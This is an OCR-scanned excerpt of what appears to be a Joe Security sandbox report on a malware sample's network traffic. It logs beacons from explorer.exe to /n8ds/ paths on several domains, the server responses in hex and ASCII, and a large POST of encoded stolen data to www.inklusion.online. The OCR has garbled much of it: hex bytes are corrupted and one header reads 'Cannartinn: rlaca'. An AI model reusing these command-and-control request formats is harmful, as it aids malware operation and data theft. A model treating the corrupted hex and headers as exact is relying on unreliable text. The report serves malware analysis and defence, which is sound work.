20 20 20 20 20 20 20 20 20 2e 74 6f 70 43 6f 6¢ 6f 72 73 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f
75 6e 64 3a 20 2d 6d 6f 7a 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2¢ 20 23 66 30 34 37 33 64
20 30 25 2c¢ 20 23 66 30 34 37 33 64 20 32 35 25 2c 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20
35 30 25 2¢ 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30 30 20
37 3525 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75
6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2c 20 23 66 30 34 37
3364 20 30 25 2c 20 23 66 30 34 37 33 64 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33
3520 35 30 25 2c 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30
302037 3525 2¢ 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0Oa 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72
6f 75 6e 64 2d 73 69 7a 65 3a 34 35

Data Ascii: <IDOCTYPE html><html> <head> <meta name="robots" content="noindex, nofollow, noarchive, nos
nippet" />  <title>Zoho</title>  <link type="text/css" rel="stylesheet" href="/webfonts?family=Open+Sans:400,600">
<style> body{ font-family:"Open Sans", sans-serif; font-size:11px; margin:opx;

padding:0pXx; background-color:#f5f5f5; } .topColors{ background: -moz-linear-gradient(left,
#f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%);
background: -webkit-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5
75%, #fdc000 75%,#fdc000 100%); background-size:45

Destination IP  Destination Port Process
3.64.163.50 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=4XwYGzmPDVH3THQXSPknmfdazTodAXDIHas2KNX7n/UXs4ghRUZWEGVKVmOhYsfSCvUh&vEMt=
3fxxA4Z HTTP/1.1

Host: www.inklusion.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 410 Gone

Server: openresty

Date: Thu, 25 Nov 2021 11:58:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 37 0d 0Oa 3c 68 74 6d 6¢ 3e 0a 0d Oa 39 0d Oa 20 20 3c 68 65 61 64 3e 0a 0d Oa 35 30 0d Oa 20 20 20 20 3c 6d
6574 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72
6¢ 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69 6f 6e 2e 6f 6e 6¢ 69 6e 65 2f 27 20 2f 3e 0a 0d Oa 61 0d Oa
20 20 3c 2f 68 65 61 64 3e 0a 0d Oa 39 0d Oa 20 20 3c 62 6f 64 79 3e 0a 0d Oa 33 63 0d 0a 20 20 20 20 59 6f 75 20 61 72
65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 6b 6¢ 75 73 69
6f 6e 2e 6f 6e 6¢ 69 6e 65 0a 0d 0a 61 0d Oa 20 20 3c 2f 62 6f 64 79 3e Oa 0d Oa 38 0d Oa 3c 2f 68 74 6d 6¢ 3e Oa Od Oa
30 0d 0a 0d Oa

Data Ascii: 7<htm|>9 <head>50 <meta http-equiv="refresh’ content='5; url=http://www.inklusion.online/' />a </head>9
<body>3c You are being redirected to http://www.inklusion.onlinea </body>8</htmI>0

Destination IP Destination Port Process

203.170.80.250 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Nov 25, 2021 6454
12:58:40.925452948 CET

Session ID Source IP

16 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6458

12:59:21.091321945 CET

Nov 25, 2021 6458
12:59:21.100280046 CET

Session ID Source IP

17 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6460

12:59:26.543008089 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49828

Direction

ouT

Source Port

49829

Direction
ouT

Data

GET /n8ds/?6ldD=hTCtvfIBK6Lgcsnz9iNzW/om0skZHj2xUOZ9QRylykKuA9BOdz3gmP8oX5t0meM3+FVL&6Mt=
3fxxA4Z HTTP/1.1

Host: www.mackthetruck.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

192.0.78.25 80 C:\Windows\explorer.exe

Data

GET /n8ds/?2dfPiT=06P8yX&6ldD=xIQ0Win+OWEEdOu7BgbL/FEFI5i/i6MXL9UXMpB5xFgkztpNPhPNR2/8wQ09
B3jWcPv9 HTTP/1.1

Host: www.divorcefearfreedom.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Thu, 25 Nov 2021 11:59:21 GMT

Content-Type: text/html

Content-Length: 162

Connection: close

Location: https://www.divorcefearfreedom.com/n8ds/?2dfPiT=06P8yX&6ldD=xIQ0Win+OWEEdOu7BgbL/FEFI5i/i6
MXL9UXMpBS5xFgkztpNPhPNR2/8wQo9B3jWcPv9

X-ac: 2.hhn _dca

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68
74 6d 6¢ 3e 0d Oa

Data Ascii: <htm|><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></html>

Destination IP Destination Port Process

198.185.159.144 80 C:\Windows\explorer.exe

Data

GET /n8ds/?61dD=BkWPMdYTTR0ZQmtbwmm8ayu+d1W65DpSRIKYH6pwPIESNdIBtEF9Ib3WD/+idhQ1krue&2dfPi
T=06P8yX HTTP/1.1

Host: www.jamiecongedo.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Nov 25, 2021 6461
12:59:26.648669958 CET

Session ID Source IP

18 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6484

12:59:31.834853888 CET

Nov 25, 2021 6491
12:59:32.055282116 CET

Session ID Source IP

19 192.168.11.20
kBytes

Timestamp transferred

Nov 25, 2021 6501

13:00:58.945292950 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49830

Direction
ouT

Source Port

49835

Direction

ouT

Data

HTTP/1.1 400 Bad Request

Cache-Control: no-cache, must-revalidate

Content-Length: 77564

Content-Type: text/html; charset=UTF-8

Date: Thu, 25 Nov 2021 11:59:26 UTC

Expires: Thu, 01 Jan 1970 00:00:00 UTC

Pragma: no-cache

Server: Squarespace

X-Contextid: 4zgLEe1M/5T4GrCAz

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 34 30 30 20
42 61 64 20 52 65 71 75 65 73 74 3¢ 2f 74 69 74 6¢ 65 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f
7274 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61
6c 2d 73 63 61 6¢ 65 3d 31 22 3e 0a 20 20 3¢ 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e Oa 20
20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b Oa 20 20 7d Oa Oa 20 20 6d 6
1 69 6e 20 7b Oa 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 3
025 3b 0a 20 20 20 20 6¢ 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6¢
61 74 65 28 2d 35 30 25 2¢ 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72
3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b Oa 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 68 31 20 7b
0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34
2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30
2030 20 31 31 70 78 20 30 3b Oa 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 70 20 7b Oa 20 20 20 20 66 6f 6e 74 2d 73 69 7a
65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 33 61 33 61 33 61 3b Oa 20 20 20 20 66 6f 6e 74 2d 77
65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d
61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d Oa Oa 20 20 6d 61 69 6e 20 70 20 61 20 7b Oa 20 20 20 20 63 6f 6¢ 6f 72 3a 20
233361 33613361 3b0a 202020 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20
62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6¢ 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d Oa Oa 20
20 62 6f 64 79 20 7b Oa 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 22 43 6¢ 61 72 6b 73 6f 6e 22 2c 20 73 61 6e
73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d Oa Oa 20 20 23 73
7461747573 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 6e 6f 6e 65 3b Oa 20 20 7d Oa Oa 20 20
66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75 74 65 3b 0a 20 20 20 20 62 6f 74
74 6f 6d 3a 20 32 32 70 78 3b Oa 20 20 20 20 6¢ 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3
b 0a 20 20 20 20 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 20 32 65 6d 3b 0a 20 20 7d Oa Oa 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b Oa 20 20 20 20 6d 61 72 67 69
6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20

Data Ascii: <IDOCTYPE html><head> <title>400 Bad Request</title> <meta name="viewport" content="width=device-
width, initial-scale=1"> <style type="text/css"> body { background: white; } main{ position: absolute; top: 50%;

left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main hl{ font-weight: 300;
font-size: 4.6em; color: #191919; margin: 00 11px 0; } main p{ font-size: 1.4em; color: #3a3a3a; font-weight: 3
00; line-height: 2em; margin: 0; } mainpa{ color: #3a3a3a; text-decoration: none; border-bottom: solid 1px
#3a3a3a; } body { font-family: "Clarkson", sans-serif; font-size: 12px; } #status-page { display: none; } footer {
position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span {

margin: 0 11px; font-size: 1em;

Destination IP Destination Port Process
66.29.140.185 80 C:\Windows\explorer.exe

Data

GET /n8ds/?6ldD=nk91cKg8qOwhKsLnO/dUua/naUDhyNO+v5raVsad7WuGJIwv5YN6kPTcjgATZ67dmN8K4&vEMt=
3fxxA4Z HTTP/1.1

Host: www.lopsrental.lease

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 25 Nov 2021 11:59:31 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 282

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70
61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6¢ 6f 70 73
72 65 6e 74 61 6¢ 2e 6¢ 65 61 73 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f
68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.lopsrental.lease Port 80</address></body></htm|>

Destination IP Destination Port Process

3.64.163.50 80 C:\Windows\explorer.exe

Data

POST /n8ds/ HTTP/1.1
Host: www.inklusion.online

Cannartinn: rlaca
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kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

CuUlICLUULL. LIvoo

Content-Length: 131142

Bafe-control: no-cache

Origin: http://www.inklusion.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.inklusion.online/n8ds/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 36 6¢ 64 44 3d 33 56 45 69 59 58 53 66 54 54 54 3552 6b 67 39 58 4c 78 76 35 4a 39 46 77 44 34 32 41 57 44
7543 38 4d 7a 52 61 6e 69 76 71 45 6e 38 4b 6f 79 66 6b 55 4f 47 44 69 6d 58 77 77 58 48 37 58 6b 4e 59 34 6f 4e 63 6b
7869 7a 31 68 67 70 79 4d 6d 67 6e 61 6¢ 30 67 69 47 4f 76 30 77 55 51 58 6¢ 52 4d 62 6f 79 6f 55 35 73 62 34 78 37 6a
3375 7a7e 75 28 53 35 6d 28 6¢ 69 5a 4e 39 6e 30 7a 35 32 6a 65 76 30 69 35 46 36 30 73 52 64 71 63 34 76 4a 28 77
4b 46 67 42 50 36 39 75 46 56 6a 71 39 6f 56 38 6f 50 50 5a 38 4d 58 30 72 63 4f 4e 76 31 7a 79 37 4e 38 44 34 52 6d 33
4d 4a 31 53 58 36 6e 42 39 42 36 4a 71 45 45 55 49 62 5a 72 58 6f 33 65 55 77 47 79 62 5f 69 59 31 47 6e 74 71 64 75
4b 64 31 78 75 34 57 50 57 6¢ 4a 6¢ 54 4b 4f 39 4b 73 66 6¢ 4e 47 54 33 67 53 64 53 44 6d 30 69 5f 4d 54 64 45 6d 68 4d
69 6f 54 31 35 79 37 45 4f 7e 66 6a 70 4e 2d 59 45 67 47 28 56 50 70 49 59 78 4e 6e 41 41 44 44 46 56 49 33 6e 61 56 3
7 7970 3958 35 46 46 35 56 66 50 76 55 39 43 4f 30 68 61 55 61 45 4c 66 33 72 5f 6¢ 76 45 34 61 73 48 36 78 4a 6d 70
46 6b 65 2d 4c 42 62 71 39 46 78 34 76 4c 51 34 63 42 62 64 4a 65 71 65 70 4c 52 6e 49 4b 6e 67 42 70 66 44 50 6¢ 73
5a 77 73 62 43 4d 31 45 31 66 63 72 5f 65 35 42 52 6a 56 41 49 7e 36 35 62 34 46 66 33 42 4c 51 7a 6b 75 4c 62 51 68
45 5f 67 50 59 65 70 73 54 47 69 76 68 32 6e 6f 57 74 32 36 53 45 6b 5a 63 49 48 4f 74 6b 63 4f 41 4b 68 62 6¢ 51 6e 34
64 7a 30 4a 54 51 28 38 4f 67 30 33 49 6d 66 43 4f 67 4a 73 4c 63 6e 77 4f 72 44 56 45 66 62 51 4c 72 6d 65 52 79 74 37
62 63 43 46 58 72 75 55 44 65 61 6d 59 47 66 46 64 55 32 54 6e 77 66 5a 51 64 38 32 6¢ 2d 36 75 47 4c 66 64 75 41 68
4c 33 65 64 71 5a 37 6¢ 4a 6a 47 72 6b 79 38 70 44 76 4b 50 72 49 53 70 4b 44 76 59 6¢ 39 6e 66 41 64 75 32 51 44 55
62 3139 31 31 6a65 787366 7e 46 61 54 64 79 74 41 6f 30 6f 70 28 54 55 53 36 56 53 56 50 44 70 75 28 4b 6e 36 52
57 42 63 46 30 35 36 62 61 49 4f 6a 6d 6b 43 30 75 33 54 5a 33 59 41 61 35 49 45 51 7a 75 64 69 64 31 37 62 37 44 50
7e 45 31 46 4c 30 43 37 4e 6a 65 42 4d 66 55 39 4f 4d 55 36 58 58 79 49 33 33 58 34 4c 4d 72 53 70 6b 78 53 34 2d 67
3237 49 4b 71 65 79 6b 5a 6f 56 4c 56 66 67 4a 79 6e 77 30 56 71 44 32 4f 67 75 7e 41 59 6¢ 57 7a 39 42 47 53 53 71 61
2d 70 53 6¢ 44 34 71 43 6e 52 6b 62 77 31 63 57 6b 54 41 30 6f 4a 43 57 6f 63 31 49 73 31 50 4e 4b 4c 4f 46 4e 47 30 43
6b 4a 6d 37 52 79 66 71 62 6f 52 7a 6d 62 72 46 36 4a 75 65 68 32 58 74 65 48 38 70 6f 73 35 36 37 55 37 54 71 57 64
71 66 62 46 78 4a 62 56 4a 51 38 32 51 72 52 6b 4f 43 70 49 5a 45 57 6a 4b 58 43 32 5a 73 4d 53 35 77 34 56 57 78 69
78 4e 6f 4d 39 55 42 71 4d 30 31 38 5f 54 5f 34 62 30 58 63 46 34 47 55 30 32 4f 53 42 65 44 79 56 62 6b 78 67 57 6e 67
74 48 49 56 70 6b 68 49 42 4a 73 61 6a 7a 67 48 41 58 76 61 52 53 47 66 34 45 37 50 42 39 66 46 76 77 52 41 71 6d 71
53 77 49 69 64 2d 76 57 68 44 49 6f 66 5a 6¢ 62 46 6f 71 76 75 33 49 59 62 75 52 6¢ 34 78 4d 58 67 38 36 65 44 44 46
41 52 50 45 69 51 54 49 63 54 75 4e 38 7a 46 50 43 53 56 76 64 66 79 77 76 6e 4c 51 56 70 44 53 38 43 79 34 6e 4d 47
7a 46 7053 28 734c 72 78 76 31 43 47 73 30 33 30 4a 35 68 4b 67 31 75 46 39 6d 59 57 2d 68 51 28 37 51 38 52 78 45
41 78 4e 45 6f 66 67 4b 68 6f 54 34 79 59 62 51 47 54 77 68 4f 50 50 64 55 7e 6d 28 62 6b 61 69 45 54 79 75 6b 61 5f 4c
71733877 68503577 77 5a 70 43 62 57 6f 70 41 4c 32 31 35 39 32 42 5a 4d 61 44 76 35 53 62 37 31 4f 6¢ 53 45 73 7e
44 6¢ 38 41 67 56 54 58 6f 63 6b 52 54 6f 57 48 37 37 6a 66 45 6f 6d 47 65 74 37 63 74 39 6e 7e 53 35 66 38 77 39 6e 57
43 57 4b 56 58 61 37 33 66 79 31 57 72 36 59 30 2d 33 52 36 46 31 54 30 43 75 69 66 46 68 63 5a 38 59 58 66 47 37 67
6f 58 64 35 37 41 4b 5f 6e 4c 4f 4e 6f 2d 6d 75 75 31 6¢ 75 32 4b 28 5f 41 44 59 6a 48 6¢ 49 4e 50 6f 41 54 53 71 4d 50
6e 55 7e 56 72 4f 44 63 73 70 4a 6e 4d 75 61 33 30 49 78 32 6e 66 68 62 4c 62 54 57 58 65 78 36 4b 64 59 63 54 67 65
77 6f61 7a 76 6e 71 42 47 4e 6e 28 32 35 78 57 4d 51 5f 71 73 41 38 5a 31 57 78 66 70 71 6¢ 7a 65 4a 4d 5a 77 6b 51 63
37 30 6¢ 4c 71 48 73 4b 59 47 6¢ 6e 69 42 79 67 33 38 4d 65 30 41 64 6b 79

Data Ascii: 61dD=3VEiYXSfTTT5Rkg9XLxv5J9FwD42AWDuC8MzRanivqEn8KoyfkUOG DImXwwXH7XkNY4oNckxi
z1hgpyMmgnal0giGOvOwUQXIRMboyoU5sb4x7j3uz~u(S5m(liZN9n0z52jev0i5F60sRdqc4vI(wKFgBP69uFVjq9
0V80PPZ8MX0rcONv1zy7N8D4RmM3MJI1SX6nBIB6IGEEUIbZrX03eUwGyb_iY1GntqduKd1xudWPWIJITKO9KSINGT3
9SdSDmOi_MTdEmhMioT15y7EO~fjpN-YEgG(VPplYXNNAADDFVI3naV7yp9X5FF5VIPvU9CO0haUaELf3r_IvE4asH
6xJmpFke-LBbg9Fx4vLQ4cBbdJeqepLRnIKngBpfDPIsZwsbCM1Elfcr_e5BRjVAI~65b4Ff3BLQzkuLbQhE_gPYep
sTGivh2noWt26 SEkZcIHOtkcOAKhbIQn4dz0JTQ(80g03ImfCOgJsL.ecnwOrDVEfbQLrmeRyt7bcCFXruUDeamYGfFd
U2TnwfZQd82l-6uGLfduAhL3edqZ71JjGrky8pDvKPrISpKDvYI9nfAdu2QDUb1911jexsf~FaTdytAoOop(TUS6EVS
VPDpu(Kn6RWBcF056balOjmkC0u3TZ3YAa5IEQzudid17b7DP~E1FLOC7NjeBMfUIOMUBXXyI33X4LMrSpkxS4-g27
IKgeykZoVLVfglynw0VgqD20gu~AYIWz9BGSSqga-pSID4qCnRkbwlcWkTA00JCWoclls1PNKLOFNGOCkIJm7RyfqboRz
mbrF6Jueh2XteH8pos567U7TqWdafbFxJbVIQ82QrRkOCPIZEW|KXC2ZsMS5w4VWxixNoMOUBgM018_T_4b0XcF4GU
020SBeDyVbkxgWngtHIVpkhIBJsajzgHAXvaRSGHE7PBYfFvwRAgmqSwlid-vWhDIofZIbFogvu3lYbuRI4xMXg86
eDDFARPEIQTIcTuN8zFPCSVvdfywvnLQVpDS8Cy4nMGzFpS(sLrxv1CGs030J5hKgluF9mYW-hQ(7Q8RXEAXNEofgK
hoT4yYbQGTwhOPPdU~m(bkaiETyuka_Lgs8whP5wwZpCbWopAL21592BZMaDv5Sh710ISEs~DIBAgVTXockRTOWH77
jfEomGet7ct9n~S5f8wInWCWKVXa73fylWr6Y0-3R6F1TOCuifFhcZ8YXfG7goXd57AK_nLONo-muullu2K(_ADYjH
IINPOATSqMPNnU~VrODcspInMua30Ix2nfhbLb TWXex6KdYcTgewoazvngBGNN(25xWMQ_qsA8Z1WxfpglzeIMZwkQc
70ILqHsKYGIniByg38MeOAdkyruYplXo4STz7m_U_3waXxjWtCXZUAYBrev~P~MTvljoHdFuCw-YSH6fCRgIRTIBKH
Q03sdoZwgQog09LIgh8MArgB3Z4lbo6hd425zNm6s4vSU7yBDwdSZ9w~FzEfgRuuap8KifCh9Hxwg8axP4QymV8GEp
ewttVbyRsK6VFgsUnsEvpw-G-qDafQ4gnrbBdF4WeX6bOKINVsSWAW (p4iXWwoVEApuvDLa9dUdAKOINECUWAAQWIFEI
BP_qV8BUAGHH8fPmxbpD_tRgTZYZznP1RgRbRmflvX_7jILFD9eX-cdTO~To-E609kycoOFh-d63xWMfHwjy_3pUFh
XxQX0wyeixsHtFioR5IWNmMISk~ok8(ftDwxiIN-Br~rsmISHBLt27u40XFx18Wtom~I7MD762uFalbYciBD19sfx2I
mW6CU7kCX~RMy8h7IuVB-P5RnuxIpROLIIr8HLpzToWgkhMRX7LAj20pRyt2hXnuzXCPbC7xBFingMKJJ4WIAABIQg
XLyFQ83mcWIOr6J6frYnu2FdkJQTdvGOrEB1U4AOfVDINDiyTq2LNIBgBPWZ7u_IH8LgCscYeChJhPsBM4_jkdko6i
BQhVJJIWre~acneo81E5~sUrtcDa2872zGKGbLI_gBbcXiyAggg6joc5N5I7LgbB5Sk6mGIKCMv0JI5cQhNGwk45Ss5C
CilxwMWbOxzHM9NIM4yc6E4HyHsMpxbsLw1pAovI2xEcNXL3H(QsGt0a-(NyR97AJL50FB5T_jUEaQWgDQ9VZIy3sD
Tf4hfN6gb3Ek6Kgn6VxPedit2NphtLod6mWuU9cZrWw8(PO5vB0_iG4oUHkmbry5z5DPUA9J3Y7vVURRDZ677xKggyxL
gQopyCin2uvIZrAfH7xMdPvoPIcl7UwUIHo66rpp-s4nMuqUIIFkZv2hg6V5yRdAR8rA9MyvbUBuUjyMIFnVudtRF5fW
Y8IP1ugGHtAIpY T5JqbuE3e8hFNMPRDaffGIXXHY4PuuOBIAFCtChMX6INMhINPWgQAOHQRpPF|B4z1wKrhFg8QM1nL
VOVUU2TkX244HSD204JWtsG58SYY_gRe6u21h9iB4HsPY1qOgXEE3VZILg61tdo~McWigTkeyBcHm3IjjuK4SrM2G(
ebz2|8Rad64(OLOpasQVteb49VFSE5u0YgyTojLIThx78g80JtFNf2yH3QEjvOrEmigh7r-JzZ9AHVS70xphM_TPRTO
4ly1XojPwhNjWHuUV2RMdRVbwnt-7ACGP43fzkz 7Jhg4lo0xcRFOFjUZROmPYiyg3jfE2K10GrHp~z0gql~TXQkbok8
3Yf8BVMMGBBSFFpVHWNZY_ApXeGE6ziBD8VVyY_8B94kruVzXTCqE~Kh-WVI-gQ4h5Gkywuj7U_GvozjBXrKLtWILNEi
HZV~9FQT-OH1s5YcavtY5FxSk9WCFPN5SDbXXQyOoHqTOUC4EWOO53Us5]_40hEEr98WEWWi8oN3gmR6ESLpPXT_tbp
VW9YVgHBI7DMUPzef~adFQaiyBd4yH2XudusIxrplSxM8cdwZ1U4aGUhkS7IMATMSP-Kxn51aupTaqp6~XHWLgnEy-e
yDEUICbp6Y4YPrHB6VOAOQF5JxnTchHSnhOW3K-90qvJkLQ3CJI5TDPcj4(HXaATth(8y-NnvBrAVuvmBuU7IXWM9XRp
5y1jJ7GJIEaGr_XMjLCUHAYN30Yugz9mLgeTRFI_hssoQtCexJHE7jygXIPDj_e90QkKQwj_1LMZ08SFtGyDJIG2NbV
hWhgWUBILrbInIQA-(2jIRbjeCUeZwpgAoV0q1im6jGpDKisbGkkkwWecGOkCiYmmPIStMhL5Q~Nacl Y vgXMNLTLw
ZD72f5Yp2X5u0(djJ6Q3ztCViqYFz4gkH1sNHLKkbAIWA0Sjoxf3tOB5x7STD6RySIaSaOT 7aK0BhOeDIrDIQASg27J
hryfrDULz2iLOw-lyER7Y9HDMxY EyclYtVCoP65B6xaX8SkIRoLLAWVP2gLWMs3tPpXkKkcGoKO(VK-K2hOFXUWozk
LA4rGitIPfGiiSixYHO~1XgbIMsc4THIKgyE5g-AdNGT3XBjQUhR-rZavrSieHuB3UAlyBZGaWBNbDOY0e6eDD-Dj4
W265SD9bjbbkWS99usJt7y7cs6lJEenldugwaYBXgNIBEXUYPIO~d22n86hhrTOFIkxoUaNANIax6dViXmgh9e3UIW
6vG8UO_DOIQMG7HyIVHCKRTXOXWH46Cr3sXfLqTYz(KtGLgjTLdeoqrWytuwcPo3cwJTtE72fTES28ZYNV8RZvSt1
IHdsiIOW2TXwIFMOEIWFHkmMgAre9cahOdXFYgEIFlyuxGAN5GUyhI3qxkr76-LIStPb5YxJCvb-A7L23md72uUtH7Z
GR5w7nZ~98GG90dXLq0ZSf2cu~D~01CQ1GHPZeJXD~nCpqepD92WYykAHhBgJ(PPW2E(YCIW8ks1DFFh3nNgJ(j2HV
